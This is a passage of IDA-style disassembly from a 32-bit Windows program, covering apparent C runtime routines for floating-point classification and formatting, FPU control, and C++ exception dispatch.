		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_419CA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CCE	proc near		; CODE XREF: sub_415E4C+31p
					; sub_415F93+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_419CE5
		cmp	[ebp+arg_0], edx
		jnz	short loc_419CF7
		push	1
		jmp	short loc_419D21
; ---------------------------------------------------------------------------


loc_419CE5:				; CODE XREF: sub_419CCE+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_419CF7
		cmp	[ebp+arg_0], edx
		jnz	short loc_419CF7
		push	2
		jmp	short loc_419D21
; ---------------------------------------------------------------------------


loc_419CF7:				; CODE XREF: sub_419CCE+11j
					; sub_419CCE+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_419D0A
		push	3
		jmp	short loc_419D21
; ---------------------------------------------------------------------------


loc_419D0A:				; CODE XREF: sub_419CCE+36j
		cmp	cx, 7FF0h
		jnz	short loc_419D24
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_419D1F
		cmp	[ebp+arg_0], edx
		jz	short loc_419D24


loc_419D1F:				; CODE XREF: sub_419CCE+4Aj
		push	4


loc_419D21:				; CODE XREF: sub_419CCE+15j
					; sub_419CCE+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419D24:				; CODE XREF: sub_419CCE+41j
					; sub_419CCE+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_419CCE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419D28(double,int)

sub_419D28	proc near		; CODE XREF: sub_41997C+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_4217B0
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_419D48
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_419DDE
; ---------------------------------------------------------------------------


loc_419D48:				; CODE XREF: sub_419D28+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_419DB7
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_419D60
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_419DB7


loc_419D60:				; CODE XREF: sub_419D28+31j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_4217B0
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_419D78
		push	1
		pop	eax
		jmp	short loc_419D7A
; ---------------------------------------------------------------------------


loc_419D78:				; CODE XREF: sub_419D28+49j
		xor	eax, eax


loc_419D7A:				; CODE XREF: sub_419D28+4Ej
					; sub_419D28+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_419D93
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_419D8D
		or	dword ptr [ebp+arg_0+4], 1


loc_419D8D:				; CODE XREF: sub_419D28+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_419D7A
; ---------------------------------------------------------------------------


loc_419D93:				; CODE XREF: sub_419D28+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_419DA1
		or	byte ptr [ebp+arg_0+7],	80h


loc_419DA1:				; CODE XREF: sub_419D28+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_419CA5
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_419DDE
; ---------------------------------------------------------------------------


loc_419DB7:				; CODE XREF: sub_419D28+28j
					; sub_419D28+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_419CA5
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_419DDE:				; CODE XREF: sub_419D28+1Bj
					; sub_419D28+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_419D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DE9	proc near		; CODE XREF: sub_4196C9+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419DE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DF7	proc near		; CODE XREF: sub_4196C9+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419DF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E06	proc near		; CODE XREF: sub_415E4C+13p
					; sub_415E4C+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_419E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E29	proc near		; CODE XREF: sub_41997C+1Dp
					; sub_41997C+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_419E40
		fld	ds:tbyte_438070
		fistp	[ebp+arg_0]
		wait


loc_419E40:				; CODE XREF: sub_419E29+Bj
		test	cl, 8
		jz	short loc_419E55
		fstsw	ax
		fld	ds:tbyte_438070
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_419E55:				; CODE XREF: sub_419E29+1Aj
		test	cl, 10h
		jz	short loc_419E64
		fld	ds:tbyte_43807C
		fstp	[ebp+var_8]
		wait


loc_419E64:				; CODE XREF: sub_419E29+2Fj
		test	cl, 4
		jz	short loc_419E72
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_419E72:				; CODE XREF: sub_419E29+3Ej
		test	cl, 20h
		jz	short locret_419E7D
		fldpi
		fstp	[ebp+var_8]
		wait

locret_419E7D:				; CODE XREF: sub_419E29+4Cj
		leave
		retn
sub_419E29	endp


; =============== S U B	R O U T	I N E =======================================



sub_419E7F	proc near		; CODE XREF: sub_415F1B+Fp
		push	30000h
		push	10000h
		call	sub_41D82B
		pop	ecx
		pop	ecx
		retn
sub_419E7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E91	proc near		; CODE XREF: sub_419ECF:loc_419EF3j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_4217C0
		fstp	[ebp+var_8]
		fld	ds:dbl_4217B8
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_421670
		fnstsw	ax
		sahf
		jbe	short loc_419ECB
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419ECB:				; CODE XREF: sub_419E91+33j
		xor	eax, eax
		leave
		retn
sub_419E91	endp


; =============== S U B	R O U T	I N E =======================================



sub_419ECF	proc near		; CODE XREF: sub_415F1B+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 0D10004h
		pop	ds
		test	eax, eax
		jz	short loc_419EF3
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:dword_4210C4
		test	eax, eax
		jz	short loc_419EF3
		push	0
		call	eax ; sub_415F1B
		retn
; ---------------------------------------------------------------------------


loc_419EF3:				; CODE XREF: sub_419ECF+Dj
					; sub_419ECF+1Dj
		jmp	sub_419E91
sub_419ECF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419EF8	proc near		; CODE XREF: sub_417D2C+3CBp
					; DATA XREF: sub_415F33+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_417173
		cmp	eax, 65h
		pop	ecx
		jz	short loc_419F38


loc_419F0C:				; CODE XREF: sub_419EF8+3Ej
		inc	esi
		cmp	ds:dword_437F5C, 1
		jle	short loc_419F25
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_419F34
; ---------------------------------------------------------------------------


loc_419F25:				; CODE XREF: sub_419EF8+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, ds:off_437D50
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_419F34:				; CODE XREF: sub_419EF8+2Bj
		test	eax, eax
		jnz	short loc_419F0C


loc_419F38:				; CODE XREF: sub_419EF8+12j
		mov	cl, ds:byte_437F60
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_419F43:				; CODE XREF: sub_419EF8+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_419F43
		pop	esi
		retn
sub_419EF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F52	proc near		; CODE XREF: sub_417D2C+3E2p
					; DATA XREF: sub_415F33+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, ds:byte_437F60
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419F6E


loc_419F62:				; CODE XREF: sub_419F52+1Aj
		cmp	cl, dl
		jz	short loc_419F6E
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_419F62


loc_419F6E:				; CODE XREF: sub_419F52+Ej
					; sub_419F52+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_419F9F


loc_419F75:				; CODE XREF: sub_419F52+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419F88
		cmp	cl, 65h
		jz	short loc_419F88
		cmp	cl, 45h
		jz	short loc_419F88
		inc	eax
		jmp	short loc_419F75
; ---------------------------------------------------------------------------


loc_419F88:				; CODE XREF: sub_419F52+27j
					; sub_419F52+2Cj ...
		mov	ecx, eax


loc_419F8A:				; CODE XREF: sub_419F52+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_419F8A
		cmp	[eax], dl
		jnz	short loc_419F95
		dec	eax


loc_419F95:				; CODE XREF: sub_419F52+40j
					; sub_419F52+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_419F95

locret_419F9F:				; CODE XREF: sub_419F52+21j
		retn
sub_419F52	endp


; =============== S U B	R O U T	I N E =======================================



sub_419FA0	proc near		; DATA XREF: sub_415F33+28o
					; seg002:off_438098o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jb	short loc_419FB5
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_419FB5:				; CODE XREF: sub_419FA0+Fj
		xor	eax, eax
		retn
sub_419FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FB8	proc near		; CODE XREF: sub_41AD1D+430p
					; DATA XREF: sub_415F33+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_419FE1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41DCEE
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FE1:				; CODE XREF: sub_419FB8+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41DD1B
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_419FB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FF6	proc near		; CODE XREF: sub_41A273+17p
					; sub_41A2BD+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:byte_4694E0,	0
		push	ebx
		push	esi
		jz	short loc_41A02B
		mov	ebx, [ebp+arg_8]
		mov	eax, ds:dword_4694DC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41A30E
		pop	ecx
		pop	ecx
		jmp	short loc_41A063
; ---------------------------------------------------------------------------


loc_41A02B:				; CODE XREF: sub_419FF6+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41DDBF
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41DD48
		add	esp, 14h


loc_41A063:				; CODE XREF: sub_419FF6+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41A06F
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41A06F:				; CODE XREF: sub_419FF6+73j
		test	ebx, ebx
		jle	short loc_41A087
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, ds:byte_437F60
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41A087:				; CODE XREF: sub_419FF6+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	ds:byte_4694E0,	cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_415BE0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41A0AE
		mov	byte ptr [ecx],	45h


loc_41A0AE:				; CODE XREF: sub_419FF6+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41A0F3
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41A0C2
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41A0C2:				; CODE XREF: sub_419FF6+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41A0D9
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41A0D9:				; CODE XREF: sub_419FF6+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41A0F0
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41A0F0:				; CODE XREF: sub_419FF6+E7j
		add	[ecx+1], bl


loc_41A0F3:				; CODE XREF: sub_419FF6+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419FF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A0FA	proc near		; CODE XREF: sub_41A29A+13p
					; sub_41A2BD+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	ds:byte_4694E0,	0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41A135
		mov	eax, ds:dword_4694E4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, ds:dword_4694DC
		cmp	eax, ebx
		jnz	short loc_41A165
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41A165
; ---------------------------------------------------------------------------


loc_41A135:				; CODE XREF: sub_41A0FA+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41DDBF
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41DD48
		add	esp, 14h


loc_41A165:				; CODE XREF: sub_41A0FA+22j
					; sub_41A0FA+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41A173
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41A173:				; CODE XREF: sub_41A0FA+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41A18A
		push	1
		push	edi
		call	sub_41A30E
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41A18C
; ---------------------------------------------------------------------------


loc_41A18A:				; CODE XREF: sub_41A0FA+7Ej
		add	edi, eax


loc_41A18C:				; CODE XREF: sub_41A0FA+8Ej
		test	ebx, ebx
		jle	short loc_41A1D1
		push	1
		push	edi
		call	sub_41A30E
		mov	al, ds:byte_437F60
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41A1D1
		cmp	ds:byte_4694E0,	0
		jz	short loc_41A1B6
		neg	esi
		jmp	short loc_41A1BC
; ---------------------------------------------------------------------------


loc_41A1B6:				; CODE XREF: sub_41A0FA+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41A1BE


loc_41A1BC:				; CODE XREF: sub_41A0FA+BAj
		mov	ebx, esi


loc_41A1BE:				; CODE XREF: sub_41A0FA+C0j
		push	ebx
		push	edi
		call	sub_41A30E
		push	ebx
		push	30h
		push	edi
		call	sub_415550
		add	esp, 14h


loc_41A1D1:				; CODE XREF: sub_41A0FA+94j
					; sub_41A0FA+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A0FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1D8	proc near		; CODE XREF: sub_41A2BD+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41DDBF
		mov	ds:dword_4694DC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	ds:dword_4694E4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41DD48
		mov	eax, ds:dword_4694DC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	ds:dword_4694E4, ecx
		setl	cl
		mov	ds:byte_4694E8,	cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	ds:dword_4694E4, eax
		jl	short loc_41A25E
		cmp	eax, ebx
		jge	short loc_41A25E
		test	cl, cl
		jz	short loc_41A24F


loc_41A245:				; CODE XREF: sub_41A1D8+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41A245
		and	[esi-2], al


loc_41A24F:				; CODE XREF: sub_41A1D8+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A29A
		add	esp, 0Ch
		jmp	short loc_41A26E
; ---------------------------------------------------------------------------


loc_41A25E:				; CODE XREF: sub_41A1D8+63j
					; sub_41A1D8+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A273
		add	esp, 10h


loc_41A26E:				; CODE XREF: sub_41A1D8+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A1D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A273	proc near		; CODE XREF: sub_41A1D8+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	ds:byte_4694E0,	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_419FF6
		and	ds:byte_4694E0,	0
		add	esp, 10h
		retn
sub_41A273	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A29A	proc near		; CODE XREF: sub_41A1D8+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ds:byte_4694E0,	1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41A0FA
		and	ds:byte_4694E0,	0
		add	esp, 0Ch
		retn
sub_41A29A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2BD	proc near		; CODE XREF: sub_417D2C+3AAp
					; DATA XREF: sub_415F33o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41A2F8
		cmp	[ebp+arg_8], 45h
		jz	short loc_41A2F8
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41A2E5
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A0FA
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A2E5:				; CODE XREF: sub_41A2BD+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A1D8
		jmp	short loc_41A309
; ---------------------------------------------------------------------------


loc_41A2F8:				; CODE XREF: sub_41A2BD+7j
					; sub_41A2BD+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419FF6


loc_41A309:				; CODE XREF: sub_41A2BD+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41A2BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A30E	proc near		; CODE XREF: sub_419FF6+2Cp
					; sub_41A0FA+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41A331
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_415CD0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_416470
		add	esp, 10h
		pop	esi


loc_41A331:				; CODE XREF: sub_41A30E+7j
		pop	edi
		retn
sub_41A30E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A333	proc near		; CODE XREF: seg000:00416114p
					; sub_41617D+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41A349
		call	sub_41ABD2


loc_41A349:				; CODE XREF: sub_41A333+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41A371
		cmp	dword ptr [esi+4], 0
		jz	short loc_41A3C7
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A3C7
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41A67A
		add	esp, 10h
		jmp	short loc_41A3C7
; ---------------------------------------------------------------------------


loc_41A371:				; CODE XREF: sub_41A333+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41A3C7
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A3AB
		cmp	[eax+14h], edi
		jbe	short loc_41A3AB
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41A3AB
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41A3CA
; ---------------------------------------------------------------------------


loc_41A3AB:				; CODE XREF: sub_41A333+4Aj
					; sub_41A333+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41A3CE
		add	esp, 20h


loc_41A3C7:				; CODE XREF: sub_41A333+23j
					; sub_41A333+29j ...
		push	1
		pop	eax


loc_41A3CA:				; CODE XREF: sub_41A333+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41A333	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3CE	proc near		; CODE XREF: sub_41A333+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41A3EE
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41A3F3


loc_41A3EE:				; CODE XREF: sub_41A3CE+16j
		call	sub_41ABD2


loc_41A3F3:				; CODE XREF: sub_41A3CE+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41A54A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A467
		cmp	[esi+14h], edi
		jnz	short loc_41A467
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A467
		mov	esi, ds:dword_4694EC
		test	esi, esi
		jz	loc_41A545
		mov	eax, ds:dword_4694F0
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41DF46
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A449
		call	sub_41ABD2


loc_41A449:				; CODE XREF: sub_41A3CE+74j
		cmp	[esi], ebx
		jnz	loc_41A54A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A467
		cmp	[esi+14h], edi
		jnz	short loc_41A467
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A467
		call	sub_41ABD2


loc_41A467:				; CODE XREF: sub_41A3CE+41j
					; sub_41A3CE+46j ...
		cmp	[esi], ebx
		jnz	loc_41A54A
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41A54A
		cmp	[esi+14h], edi
		jnz	loc_41A54A
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162CB
		add	esp, 14h
		mov	ebx, eax


loc_41A49E:				; CODE XREF: sub_41A3CE+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41A535
